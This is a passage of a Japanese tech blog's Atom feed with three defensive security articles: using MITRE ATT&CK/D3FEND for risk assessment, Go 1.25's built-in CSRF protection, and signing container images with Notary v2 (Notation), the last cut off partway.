<p>各項目でヒットさせたい条件を detect してアンド条件を指定していきます。指定後は青枠で囲われた状態になります。各項目にカーソルをあてると、該当する攻撃手法がハイライトされます。ここでは、よく知られている攻撃グループ（ハッカー集団）に注目してみました。（ふむふむ、なんだか動物の名前が多い気が…）</p>
<img src="/images/2025/20250827a/image_6.png" alt="image.png" width="1200" height="590" loading="lazy">

<p><strong>３）詳細情報へ</strong><br>Fox Kittenという攻撃グループはどんな集団なのか気になった場合は [view] をクリックして詳細ページを見ることができます。他の項目それぞれにおいても同様に各詳細情報を閲覧できます。</p>
<img src="/images/2025/20250827a/image_7.png" alt="image.png" width="1200" height="659" loading="lazy">

<h4 id="MITRE-D3FEND">MITRE D3FEND</h4><p>こちら は、世界中のセキュリティ専門家に利用されている攻撃技術のフレームワーク『MITRE ATT&amp;CK®』と対をなす存在で、ATT&amp;CKが「攻撃者の手法（TTPs）」を体系化しているのに対し、D3FENDは「防御側の対抗策（Countermeasures）」を体系化しています。特定の攻撃テクニックに対して、どのような防御技術が有効かをマッピングできます。D3FENDは <strong>比較的新しいプロジェクト</strong> で、MITREによるとまだ実験段階とのことですが、ATT&amp;CKフレームワークと組み合わせてセキュリティ可視性要件の優先順位付けに活用できると考えられます。</p>
<p>D3FENDの最大の特徴は、防御技術が独自の『防御マトリクス（Defensive Matrix）』によって分類・整理されている点です。マトリクスは、防御活動の目的別に大きく分類されています。</p>
<blockquote>
<p>The D3FEND matrix categorizes countermeasure techniques into five stages of defense:</p>
<p>Harden – application hardening, platform hardening, credential hardening, message hardening<br>Detect – network traffic analysis, process analysis, file analysis, platform monitoring, identifier analysis, message analysis, user behavior analysis<br>Isolate – network isolation, execution isolation<br>Deceive – decoy environment, decoy object<br>Evict – credential eviction, process eviction</p>
</blockquote>
<p>引用）MITRE ATT&amp;CK &amp; D3FEND: Step-by-Step Guide to Closing Security Visibility Gaps</p>
<h5 id="ユースケース-1">ユースケース</h5><p><strong>１）特定の「攻撃手法」から防御策を探す</strong><br>D3FENDの最も強力な使い方は、特定の攻撃手法（ATT&amp;CK ID）から、それに対応する防御策（D3FEND ID）を逆引きすることです。</p>
<p>D3FEND公式サイト 左側検索窓から対策したい攻撃（今回は「Kerberoasting」とする）を入力すると、ATT&amp;CKの攻撃ID「T1558.003」がヒットします。<br><img src="/images/2025/20250827a/image_8.png" alt="image.png" width="1200" height="315" loading="lazy"><br>ATT&amp;CK公式サイト からも検索できます。<br><img src="/images/2025/20250827a/image_9.png" alt="image.png" width="1200" height="253" loading="lazy"></p>
<p>そのまま D3FEND の検索結果ページを開くと、この攻撃（T1558.003）に紐づく防御技術（D3FEND Countermeasure）がリストアップされます。これは、D3FENDが自動的に推測（infer）した、防御技術同士の隠れた関連性のことです。MITREが防御策と防御策の関連性を定義したものではなく、<strong>攻撃（ATT&amp;CK）と防御（D3FEND）の膨大なマッピングデータを分析した</strong> 結果、防御技術のブロックしている <strong>攻撃対象の類似性から実質的に関連性が高いだろう（推論）</strong> とAIやシステムが提示した関係を示しています。</p>
<img src="/images/2025/20250827a/kerberoasting.png" alt="kerberoasting.png" width="1200" height="648" loading="lazy">

<p>ある防御策が、直接の目的以外に「どのような攻撃手法にも間接的に効果があるか」という隠れた関係性が分かりますが、その関係性の数は膨大になるため、関係しないnodeを非表示にすることで把握しやすいUIになっています。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>Hardening &amp; Isolation &amp; Restore</th>
<th>Detect &amp; Restore</th>
</tr>
</thead>
<tbody><tr>
<td><img src="/images/2025/20250827a/relationship_01.png" alt="relationship_01" width="493" height="845" loading="lazy"></td>
<td><img src="/images/2025/20250827a/Hardening_&_Isolation_&_Restore.avif" alt="Hardening & Isolation & Restore" width="509" height="558" loading="lazy"></td>
</tr>
</tbody></table></div>
<p>上記マッピングを活用することで、下記を把握できます。</p>
<ul>
<li><strong>防御策の費用対効果</strong><br>たった1つの防御策（UACの有効化）で多様な攻撃の芽を摘む可能性があることを可視化できます。これにより、セキュリティ投資の優先順位付けがしやすくなります。</li>
<li><strong>防御の網羅性</strong><br>自分たちが導入している防御策が、想定していなかった攻撃経路に対しても有効である可能性に気づけます。「この対策は、あの攻撃にも効いていたのか！」という発見があります。</li>
</ul>
<p><strong>２）防御の「目的」から探す</strong><br>防御マトリクス（Defensive Matrix）を選択すると、D3FENDの防御技術が <strong>Model &#x2F; Harden &#x2F; Detect &#x2F; Isolate &#x2F; Deceive &#x2F; Evict</strong> と分類されて表示されるため、目的に応じた防御技術を選定することが可能となります。例えば、AD要塞化をしたいとなった場合、「Harden（要塞化）」に注目して目的に沿った <strong>直接関連する多くの防御技術を俯瞰</strong> できます。</p>
<img src="/images/2025/20250827a/image_10.png" alt="image.png" width="1200" height="595" loading="lazy">

<p>こちら では、ATT&amp;CK or D3FEND に掲載されている緩和策それぞれに対し、より具体的にどんな防御テクニックがあるのかをマッピングしてくれています。より多層的で抜け漏れの少ない（MECE）防御策を立案するのをサポートしてくれます。</p>
<img src="/images/2025/20250827a/image_11.png" alt="image.png" width="927" height="414" loading="lazy">

<p>このように、<strong>なぜこの設定強化が必要なのか</strong> を攻撃手法とセットで理解でき、かつ、より具体的な対応まで落とし込めるため、単なるチェックリストをこなすよりも <strong>はるかに効果的で説得力のある堅牢化計画</strong> を立てることができます。</p>
<h2 id="情報資産-脅威-脆弱性-の評価-アセスメント要素の具体化">情報資産&#x2F;脅威&#x2F;脆弱性 の評価 -アセスメント要素の具体化-</h2><p>上記フレームワークは大枠を示すものの、定量評価するにあたっては、各要素（変数）の定義を定めて具体的に算出していきます。各要素の算出方法は時代とともに変化し、どのように表現されるかも変わりますので画一的な式は存在しません。用途とフェーズに応じて各種式を使い分けていきます。</p>
<p>ここに関しては、リスクとして考慮すべき要素に何を指定するのか、各要素について具体的にどういった算出方法（メトリクスや各種統計手法）をとるのかなど複雑かつ膨大なので、また別記事でご紹介したいと思います！</p>
<h2 id="リスクの算定-構築モデルの評価">リスクの算定 -構築モデルの評価-</h2><p>可視化したリスクの算定プロセスをモデル化したのち、そのモデルの妥当性を検討する必要があります。検討すべきは２点、<strong>正当性の評価</strong> と <strong>妥当性の評価</strong> を行います。前者は理論的に正しいのかどうか、後者は実証実験にて実際の結果からモデルを評価します。</p>
<ul>
<li>正当性の評価では、モデルの論理的な構造や計算ロジックそのものが、専門家の知見や確立された理論に基づいて正しく構築されているかを検証します。これはデータを用いたシミュレーションする前の、いわば設計図のレビュー段階です。</li>
<li>妥当性の評価では、多量変数それぞれに不確実性、つまり分布があり、それらのランダムな組み合わせを発生させて最終的に1つの指標で確率分布を求めたいので、モンテカルロシミュレーションを用います。</li>
</ul>
<div class="note-container note-info note-has-title"><div class="note-title"><span class="note-icon"></span>モンテカルロシミュレーションとは</div><div class="note-body">

<p>未来の予測が難しい不確実な事象についてコンピューター上で何度もランダムな試行を繰り返すことで、その結果がどうなるかの確率を求める手法です。結果が一意に決まらない様々な分野で応用される基本ツールです。</p>
</div></div>

<h2 id="リスク対応の決定と報告-4つの決め方">リスク対応の決定と報告 -4つの決め方-</h2><p>リスクが可視化できたら、次はいよいよ「どうするか」を決める意思決定のフェーズです。ただ闇雲に対策するのではなく、ここでも合理的な選択肢が存在します。大きく分けて、以下の4つの対応方針があります。</p>
<ol>
<li><strong>リスク低減 (Mitigation)</strong><br>セキュリティソフトの導入、社員教育の実施、システムの暗号化など、リスクの発生確率や影響度を下げるための対策を講じる、最も一般的なアプローチです。</li>
<li><strong>リスク回避 (Avoidance)</strong><br>リスクの原因となる活動そのものを止めるという選択。例えば、特定の信頼できないWebサービスの利用を全面的に禁止する、といった判断です。</li>
<li><strong>リスク移転 (Transfer)</strong><br>自分たちだけでリスクを抱え込まず、第三者と分担する方法です。代表的な例が、サイバー保険への加入です。万が一の際の損害を保険でカバーしてもらいます。</li>
<li><strong>リスク受容 (Acceptance)</strong><br>リスクによる損失が許容範囲内である場合や、対策コストがリスクの大きさに見合わない場合に、あえて「何もしない」という意思決定をします。すべてのリスクをゼロにすることは不可能であり、これもまた合理的な判断の1つです。</li>
</ol>
<p>企業は、可視化されたリスク一つひとつに対して、「対策コスト」と「得られる効果（リスクがどれだけ下がるか）」を天秤にかけ、この4つの選択肢の中から最適な組み合わせを選び、実行していくのです。</p>
<h2 id="まとめ：不確実な未来を乗りこなすための思考法">まとめ：不確実な未来を乗りこなすための思考法</h2><p>今回は、サイバーセキュリティの世界におけるリスクとの向き合い方についてご紹介しました。</p>
<p>重要なのは以下です。</p>
<ol>
<li>漠然とした不安や期待を、具体的な要素に最大限分解して <strong>リスク因子を「可視化」する</strong> こと</li>
<li>それぞれの要素に対し、<strong>リスクがどの程度存在するのか算出する</strong> こと</li>
<li>可視化されたリスクに対して、 <strong>複数の選択肢の中から最適な「決め方」を選ぶ</strong> こと</li>
</ol>
<p>100%成功する選択というものは存在しません。しかし、リスクの正体を知り、それとどう向き合うか、時には未来予測シミュレーションなどを取り入れて真剣に考えることで、私たちはより後悔の少ない、納得感のある意思決定を下すことができます。</p>
<p>悩んだときは、上記を応用して物事を進めていけるといいですね✨</p>
]]></content>
    <summary type="html">サイバーセキュリティ界隈の文脈で「リスクの可視化～意思決定」がどのように行われるのかをお話します。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="CVSS" scheme="https://future-architect.github.io/tags/CVSS/"/>
    <category term="脆弱性" scheme="https://future-architect.github.io/tags/%E8%84%86%E5%BC%B1%E6%80%A7/"/>
  </entry>
  <entry>
    <title>Go1.25 リリース連載 net/http - CSRF対策</title>
    <link href="https://future-architect.github.io/articles/20250804a/"/>
    <id>https://future-architect.github.io/articles/20250804a/</id>
    <published>2025-08-03T15:00:00.000Z</published>
    <updated>2025-08-03T15:00:00.000Z</updated>
    <author><name>島ノ江励</name></author>
    <content type="html"><![CDATA[<h2 id="はじめに">はじめに</h2><p>こんにちは。ペンギンになりたいエンジニアの島ノ江です。<br>現在は FutureVuls という脆弱性管理サービスの開発・営業などを担当しています。</p>
<p>Go 1.25リリース連載の4本目、マイナーアップデートの net&#x2F;http での CSRF 対策の強化について触れます。</p>
<p>この記事では、以下の内容について触れていきます。CSRFについて既知の場合はリリースの実装内容の項目を参照してください。</p>
<ol>
<li>今回のリリースの概要</li>
<li>CSRFの概要</li>
<li>issue提案の背景</li>
<li>リリースの実装内容</li>
</ol>
<p>関連する issue はこちらです（issue）</p>
<h2 id="今回のリリースの概要">今回のリリースの概要</h2><p>新たに net&#x2F;http に <code>CrossOriginProtection</code> が実装され、安全でない Cross-Origin ブラウザリクエストを拒否することで、CSRF から保護するようになりました。これまでの Go では、標準ライブラリの net&#x2F;http に CSRF 対策用のハンドラは存在しなかったため、外部ライブラリの利用や開発者が一から実装する必要がありました。今回のリリースにより、これらが標準ライブラリとして含まれるようになりました。</p>
<p>具体的には、fetch meta data リクエストヘッダーである <code>Sec-Fetch-Site</code> ヘッダーの確認、または <code>Origin</code> ヘッダーのホスト名と <code>Host</code> ヘッダーを比較することで検出します。これにより、従来 CSRF 対策として利用されていたトークンや Cookie を必要とせずに、オリジンベース及びパターンベースで CSRF の対策ができるようになりました。</p>
<p>詳細な判定ロジックは後述します。</p>
<h2 id="CSRFについて">CSRFについて</h2><p>Cross-Site Request Forgery(CSRF) とは、Web アプリケーションの脆弱性を利用した攻撃手法の１つです。Web サイト側が、ログインした利用者からのリクエストについて、その利用者が意図したリクエストであるかどうかを識別する仕組みを持たない場合に、ブラウザが Cookie を自動送信する性質が悪用されて、悪意のあるリクエストを受け付けてしまう場合があります。この脆弱性があると、ユーザが意図していない操作を Web サイト上で強制的に実行させることができます。</p>
<p>「Forgery」とは和訳すると「偽造」という意味で、文書や署名を偽造する行為を指します。</p>
<h3 id="CSRFの攻撃条件">CSRFの攻撃条件</h3><p>基本的に以下の3要素が揃うと攻撃条件が成立します。</p>
<ol>
<li><strong>ユーザが認証済みの Web サイトが存在する</strong>：<br> ユーザは既にログインしており、セッションが有効な状態である</li>
<li><strong>Webサイトが状態を変更するリクエストを、ユーザからの認証情報のみで判断している</strong>：<br> サーバ側が、リクエストの送信元が本当にそのユーザ本人であるかの確認をしていない</li>
<li><strong>攻撃者が、ユーザに悪意のあるWebページやメールを閲覧させる</strong>：<br> 攻撃者は、ユーザが認証済みのサイトに対して悪意のあるリクエストを仕込んだページを用意し、ユーザを誘導する</li>
</ol>
<p>IPAに解説があるため、この図を引用します。</p>
<img fetchpriority="high" src="/images/2025/20250804a/image.png" alt="image" width="680" height="462">

<h3 id="CSRFの対策">CSRFの対策</h3><p>CSRF には古典的に以下のような方法で対策をとれます。</p>
<ol>
<li><strong>CSRFトークンの利用</strong>：<br> すべての入力フォームに手動でトークンを埋め込み、都度検証する方法。ただし、各フォームで設定する必要があり、実装が面倒に問題がある</li>
<li><strong><code>Origin</code> ヘッダーのチェック</strong>：<br> リクエストの送信元オリジンを確認する方法。ただし、リバースプロキシ環境などで設定が複雑になる問題がある</li>
<li><strong>SameSite 属性クッキーの利用</strong>：<br> Cookie に属性を設定し、クロスサイトリクエスト時にクッキーを送付するかどうかを制御する方法。ただし、一部のSSOフローで壊れる問題がある</li>
</ol>
<h3 id="CSRFの最近の動向">CSRFの最近の動向</h3><p>CSRF はWebサイト全体のセキュリティ向上に伴い、近年は被害件数が減少傾向にあります。</p>
<p>その背景は主に以下の通りです。</p>
<ol>
<li><strong>Cookie の SameSite 属性の自動設定など、モダンブラウザでの自動対応</strong>：<br> Webサイト側で明示的な対策をしなくても、ブラウザ側で多くの CSRF が自動的にブロックされるようになりました</li>
<li><strong>Webフレームワーク側での対策の自動化</strong>：<br> 開発者が意識して一から実装する必要はなくなりました。今回のリリース内容もこれに分類されます</li>
<li><strong>SPAとAPI通信を組み合わせた方式の普及</strong>：<br> SPA では Cookie による認証を使わずに、リクエストヘッダーに JWT のような認証トークンを入れる方式を採ります。そのため、そもそもの CSRF 攻撃の前提が成り立たなくなっています</li>
</ol>
<p>上記のような対応が進んだことで、CSRF の脅威度は大きく下がりました。しかし、古いシステムや対策が不十分なWebサイトでは依然としてこのリスクは残るため、基本的なセキュリティ対策は引き続き必要となります。</p>
<h2 id="提案の背景">提案の背景</h2><p>これまで、CSRF 対策を目的とした Go のライブラリでは、例えば以下の2つが広く利用されていました。</p>
<ul>
<li>https://github.com/gorilla/csrf</li>
<li>https://github.com/justinas/nosurf</li>
</ul>
<p>gorilla&#x2F;csrf では、上述の対策のうち1.CSRFトークンによる検証と2.Origin ヘッダーの検証で CSRF の対策をしていました。ただし、issue の提案者はこのライブラリに関して、Origin ヘッダーの検証に関するバグがある問題や、脆弱性の報告から修正までの対応が遅いなどの問題を指摘しています。</p>
<p>そこで、このようなライブラリに外部依存していた部分を標準ライブラリでサポートすることで、メンテナンス性やセキュリティアップデートをしやすくしたのが今回のアップデート対応です。</p>
<h2 id="実装内容">実装内容</h2><h3 id="CrossOriginProtection構造体"><code>CrossOriginProtection</code>構造体</h3><p>ベースとなる struct は以下のようになっています。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">type</span> CrossOriginProtection <span class="keyword">struct</span> &#123;</span><br><span class="line">	bypass    atomic.Pointer[ServeMux]</span><br><span class="line">	trustedMu sync.RWMutex</span><br><span class="line">	trusted   <span class="keyword">map</span>[<span class="type">string</span>]<span class="type">bool</span></span><br><span class="line">	deny      atomic.Pointer[Handler]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<div class="scroll"><table>
<thead>
<tr>
<th>設定項目</th>
<th>概要</th>
<th>設定メソッド</th>
</tr>
</thead>
<tbody><tr>
<td><code>trusted</code>（信頼済みオリジン）</td>
<td>安全とわかっている送信元オリジンを登録する</td>
<td><code>AddTrustedOrigin</code></td>
</tr>
<tr>
<td><code>bypass</code>（チェックの回避）</td>
<td>CSRFチェックを完全に無効化するURLパスのパターン。公開APIなど、意図的に保護対象外にしたい場合に利用する</td>
<td><code>AddInsecureBypassPattern</code></td>
</tr>
<tr>
<td><code>deny</code> （拒否処理）</td>
<td>リクエストブロック時の処理の設定</td>
<td><code>SetDenyHandler</code></td>
</tr>
</tbody></table></div>
<p>具体的に使う際は、各メソッドで設定し、ハンドラを <code>CrossOriginProtection</code> で wrap します。<br>各フィールドを設定しない場合はデフォルトの設定で安全に動作します。</p>
<figure class="highlight go"><table><tr><td class="code"><pre><span class="line">mux := http.NewServeMux()</span><br><span class="line">csrfProtection := http.NewCrossOriginProtection()</span><br><span class="line"></span><br><span class="line"><span class="comment">// trusted: 信頼オリジンの設定（任意）</span></span><br><span class="line">err := csrfProtection.AddTrustedOrigin(<span class="string">&quot;https://trusted-example.com&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;...&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// bypass: チェックを回避する設定（任意）</span></span><br><span class="line">csrfProtection.AddInsecureBypassPattern(<span class="string">&quot;/api/public/&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// deny: リクエストがブロックされた際のカスタム処理（任意）</span></span><br><span class="line">denyHandler := http.HandlerFunc(<span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> &#123;</span><br><span class="line">    log.Printf(<span class="string">&quot;Origin Blocked: Origin=%s, Path=%s&quot;</span>, r.Header.Get(<span class="string">&quot;Origin&quot;</span>), r.URL.Path)</span><br><span class="line">    http.Error(w, <span class="string">&quot;Forbidden&quot;</span>, http.StatusForbidden)</span><br><span class="line">&#125;)</span><br><span class="line">csrfProtection.SetDenyHandler(denyHandler)</span><br><span class="line"></span><br><span class="line"><span class="comment">// ハンドラを wrap する</span></span><br><span class="line">srv := http.Server&#123;</span><br><span class="line">    Addr: <span class="string">&quot;:8080&quot;</span>,</span><br><span class="line">    Handler: csrfProtection.Handler(mux),</span><br><span class="line">&#125;</span><br><span class="line">log.Fatal(srv.ListenAndServe())</span><br></pre></td></tr></table></figure>

<h3 id="Cross-Originの判定方法">Cross-Originの判定方法</h3><p>リクエストが Cross-Origin かどうかは <code>Check</code> メソッドで判定されます（実装）。判定ロジックを詳しくみていきます。</p>
<ul>
<li><code>GET</code>, <code>HEAD</code>, <code>OPTIONS</code> のリクエストは、サーバの状態を変更しない安全なメソッドのため、常に許可されます</li>
<li>次に、リクエストヘッダーの <code>Sec-Fetch-Site</code> ヘッダーを優先的に確認します<ul>
<li><code>&quot;&quot;</code> の場合（<code>Sec-Fetch-Site</code> に対応していない古いブラウザからのアクセス、<code>curl</code> によるリクエストなど）：後述の <code>Origin</code> の比較に移ります</li>
<li><code>same-origin</code>, <code>none</code>の場合：同一オリジンからのアクセスで安全と判断して許可します</li>
<li>上記以外の <code>cross-site</code> などの場合は、例外ルールに当てはまるかを <code>isRequestExempt</code> メソッドで確認します。下記に当てはまる場合は、安全と判断します<ul>
<li>リクエストのパスが、Cross-Originチェックを無視する「バイパスリスト（<code>bypass</code>）」に設定されている</li>
<li>リクエストの送信元が、安全だとわかっている送信元を記録する「信頼済みオリジンリスト（<code>trusted</code>）」に設定されている</li>
</ul>
</li>
</ul>
</li>
<li><code>Sec-Fetch-Site</code> で判定ができない場合、リクエストヘッダーの <code>Origin</code> ヘッダーを確認します<ul>
<li><code>&quot;&quot;</code> の場合：同一オリジンリクエストか非ブラウザリクエストと判定して許可します</li>
<li><code>Origin</code> ヘッダーと、<code>Host</code> ヘッダー（リクエスト先のホスト名）が異なる場合、Cross-Origin と判断します</li>
</ul>
</li>
<li>最後に、危険な可能性をはらむリクエストについて、<code>isRequestExempt</code> メソッドで例外的に許可できないかを確認します</li>
</ul>
<p>なお、issue にも書かれていますが、この <code>Origin</code> と <code>Host</code> の比較をする方法には問題があります。それは、 <code>Host</code> ヘッダーには scheme（http &#x2F; https）が含まれないため、「<code>http://</code> から <code>https://</code> へのリクエストを区別できない」というものです。</p>
<p>例えば…</p>
<ul>
<li><code>Origin</code> ヘッダー: <code>http://example.com</code></li>
<li><code>Host</code> ヘッダー: <code>example.com</code></li>
<li>リクエスト URL : <code>https://example.com/</code></li>
</ul>
<p>…のようなアクセスをする場合、<code>Origin</code> ヘッダーと<code>Host</code> ヘッダーは <code>example.com</code> で一致するため、このチェックを通過してしまいます。しかし、<code>http</code> と <code>https</code> は異なるオリジンであり、本来はブロックするべきクロスオリジンリクエストです。</p>
<p>ただ、実装上この判定ロジックに回るのは、<code>Sec-Fetch-Site</code> に対応していない古いブラウザでアクセスした場合です。そのため、この次善策では fail-open として、リクエストをブロックして安全側に倒すのではなく、利便性のために甘く判定しています。</p>
<p>なお、<code>http</code> → <code>https</code> のクロスオリジンについては、HSTS（HTTP Strict Transport Security）を利用して、ブラウザが常に <code>https</code> でアクセスするように設定することで解決できます。そもそも <code>http://</code> のような暗号化されていないページでは、データを送信する前の段階で中間者攻撃にあう可能性があるため、セキュリティ上問題があります。</p>
<h2 id="さいごに">さいごに</h2><p>今回はマイナーアップデートの内容をテーマに、Web セキュリティに関する CSRF 周りの理解を深めてみました。Cookie 認証の問題点や <code>Sec-Fetch-Site</code> などに関する理解を深められて、とても興味深かったです。</p>
<p>セキュリティの基本として、多層防御の観点は重要です。ブラウザの <code>SameSite</code> 属性を設定したうえで、さらにサーバー側で明示的にリクエストを検証することで、より堅牢なシステムを実現できます。セキュリティ対策の実現の学習としても調べていて面白かったです。</p>
<p>ご覧いただきありがとうございました。</p>
]]></content>
    <summary type="html">マイナーアップデートの net/http での CSRF 対策の強化について触れます。この記事では以下の内容について触れていきます。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="CSRF" scheme="https://future-architect.github.io/tags/CSRF/"/>
    <category term="Go" scheme="https://future-architect.github.io/tags/Go/"/>
    <category term="Go1.25" scheme="https://future-architect.github.io/tags/Go1-25/"/>
    <category term="net/http" scheme="https://future-architect.github.io/tags/net-http/"/>
  </entry>
  <entry>
    <title>Notary v2（Notation）によるコンテナイメージ署名</title>
    <link href="https://future-architect.github.io/articles/20250616b/"/>
    <id>https://future-architect.github.io/articles/20250616b/</id>
    <published>2025-06-15T15:00:01.000Z</published>
    <updated>2025-06-15T15:00:01.000Z</updated>
    <author><name>真野隼記</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2025/20250616b/notary-horizontal-color-1110x298.png" alt="notary-horizontal-color-1110x298.png" width="1110" height="298">

<p>CNCF連載の1本目です。</p>
<h2 id="はじめに">はじめに</h2><p>TIG真野です。KubeCon + CloudNativeCon の日本初開催、おめでとうございます！</p>
<p>CNCFのIncubatingプロジェクトである、Notary v2を用いて、コンテナイメージにデジタル署名してみた記事です。</p>
<p>CI&#x2F;CDを狙ったサプライチェーン攻撃が増えている昨今、デプロイ対象のコンテナイメージが正しい手順で作成されたか検証することの重要性はますます高まっているように感じます。業界でよく行われているコンテナイメージの署名とその検証がどのように行われているか興味が合ったため、OCI（Open Container Initiative）準拠でデファクトに近い位置づけであったNotaryを触ってみした。</p>
<h2 id="Notary-v2とは">Notary v2とは</h2><p>Notaryは、コンテナイメージにデジタル署名し、その真正性（誰が作ったか）と完全性（改ざんされていないか）を保証し、CLI実装が Notation です。Notaryは現在v2です。特徴として署名データをイメージと同じレジストリ内に保存することがあり、これによりポータビリティが高いと言われます。v1時代はレジストリをまたいでイメージを移動させると、署名が失われるという課題があったそうで、再設計されたためv2になったそうです。</p>
<ul>
<li>参考: Community Collaboration on Notary v2 | Docker</li>
</ul>
<p>2024年7月にコンテナイメージ署名用の AWS Signer オープンソース Notation プラグイン - AWS という発表があった通り、Notary v2 のCLI実装である Notation に、AWS Signerのプラグインが公開されたため、面倒な鍵管理をAWS側に任せることもできるようになりました。利用の機運が高まります。</p>
<p>ちなみに、類似のイメージ署名ツールとしては、Sigstore（Cosign）も有名で、勢いがあるかもしれません。こちらはGitHubなどのOIDCアカウントで署名するという、キーレスが特徴とのこと。記事を書いている途中で気がついたのですが、こちらの方が面白そうなツールですね。</p>
<h2 id="Notaryの想定される使い所">Notaryの想定される使い所</h2><p>Notary（実際に用いるのはCLI実装のNotation）の使い所ですが、以下のようなフローを想定しています。</p>
<ul>
<li>CI上でtrivyなどのイメージスキャンを行い、合格した場合にNotationで署名する</li>
<li>CDのタイミングで、Notationで署名を検証して、成功ステータスの場合のみデプロイする<ul>
<li>もし、検証が失敗した場合はデプロイを失敗させ、野良イメージ（or 悪意のあるイメージ）のデプロイを防ぐ</li>
</ul>
</li>
</ul>
<p>ある開発者がローカルPCでビルドしたイメージを、ECRなどのレジストリにプッシュしてしまうことは、適切なIAM権限設定で防ぐことができます。しかし、インフラ構築用の踏み台サーバ経由などでプッシュされる可能性もゼロではありません。また、CI&#x2F;CDパイプライン上で設定ミスや予期しないスクリプトが実行され、ECRにイメージがプッシュされてしまう可能性も絶対発生しないとは言い切れません。</p>
<p>セキュリティ対策は多層的になされることが原則であるため、リスク評価にも続き優先度付けの上で、こういった対策を講ずるべき場合もあるでしょう。</p>
<p>より詳しくは、ECS × AWS Signer を使ったイメージ署名ワークフローを試してみた の記事が参考になりました。</p>
<h2 id="Notationのインストール">Notationのインストール</h2><p>Install the notation CLI に従い、Notationをインストールします。</p>
<p>x86かつ、WSL2上の環境にて構築します。 notationはGo言語で開発されていますが、<code>go install</code> ではお手軽には無理そうだったため、バイナリを直接取得する流れにします。</p>
<figure class="highlight console"><figcaption><span>インストール</span></figcaption><table><tr><td class="code"><pre><span class="line">export NOTATION_VERSION=2.0.0-alpha.1</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">ダウンロード</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">curl -LO https://github.com/notaryproject/notation/releases/download/v<span class="variable">$NOTATION_VERSION</span>/notation_<span class="variable">$NOTATION_VERSION</span>\_linux_amd64.tar.gz</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">curl -LO https://github.com/notaryproject/notation/releases/download/v<span class="variable">$NOTATION_VERSION</span>/notation_<span class="variable">$NOTATION_VERSION</span>\_checksums.txt</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">チェックサムでOK表示を確認</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">grep linux_amd64 notation_2.0.0-alpha.1_checksums.txt &gt; checksums.txt</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">shasum --check checksums.txt</span></span><br><span class="line">notation_2.0.0-alpha.1_linux_amd64.tar.gz: OK</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">インストール</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">sudo</span> tar -xvzf notation_<span class="variable">$NOTATION_VERSION</span>\_linux_amd64.tar.gz -C /usr/local/bin notation</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation version</span></span><br><span class="line">Notation - a tool to sign and verify artifacts.</span><br><span class="line"></span><br><span class="line">Version:     2.0.0-alpha.1</span><br><span class="line">Go version:  go1.24.1</span><br><span class="line">Git commit:  6c5c35a0207eebf8d4d6d2efad66b798457a6622</span><br></pre></td></tr></table></figure>

<h2 id="コンテナレジストリを起動">コンテナレジストリを起動</h2><p>DockerHubにプッシュしてもよいですが、単なる技術検証で用いるのは迷惑だと思ったので、ローカルPC上にレジストリを起動させます。同じく、CNCFのSandboxプロジェクトの、 Zot という軽量OCIレジストリを利用します。</p>
<p>インストール手順を見ると、がやや面倒だったのと、揮発的な利用でしか利用しないためDockerコマンドで立ち上げます。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">docker run -d -p 5000:5000 --name zot ghcr.io/project-zot/zot-linux-amd64:v2.1.4</span><br></pre></td></tr></table></figure>

<p>通常は、HTTPSでしかプッシュできないのですが、この Zotレジストリと通信するため、Docker Desktopの設定を修正します。</p>
<p>Docker DesktopのGUIから、歯車マーク &gt; Docker Engine で、以下の設定を追加。</p>
<figure class="highlight diff"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="addition">+ &quot;insecure-registries&quot;: [ &quot;localhost:5000&quot; ],</span></span><br><span class="line">  &quot;builder&quot;: &#123;</span><br><span class="line">    &quot;gc&quot;: &#123;</span><br><span class="line">      &quot;defaultKeepStorage&quot;: &quot;20GB&quot;,</span><br><span class="line">      &quot;enabled&quot;: true</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;experimental&quot;: false</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>そのまま、DockerをApply &amp; Restartで再起動します。</p>
<p>もし、zotが再起動していなければ、再度立ち上げて起きます。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">docker start zot</span><br></pre></td></tr></table></figure>

<h2 id="テストキーと自己署名証明書を生成する">テストキーと自己署名証明書を生成する</h2><p>署名するためのテスト RSA キーと、検証するための自己署名 X.509 証明書を、以下で生成します。あくまで動作確認用のコマンドとのこと。プロダクションで利用時はこちらの手順を参考にして、 AWS Signer などと連携させるか、少なくても、AWS KMSなどシークレットの管理サービスを利用すべきでしょう。</p>
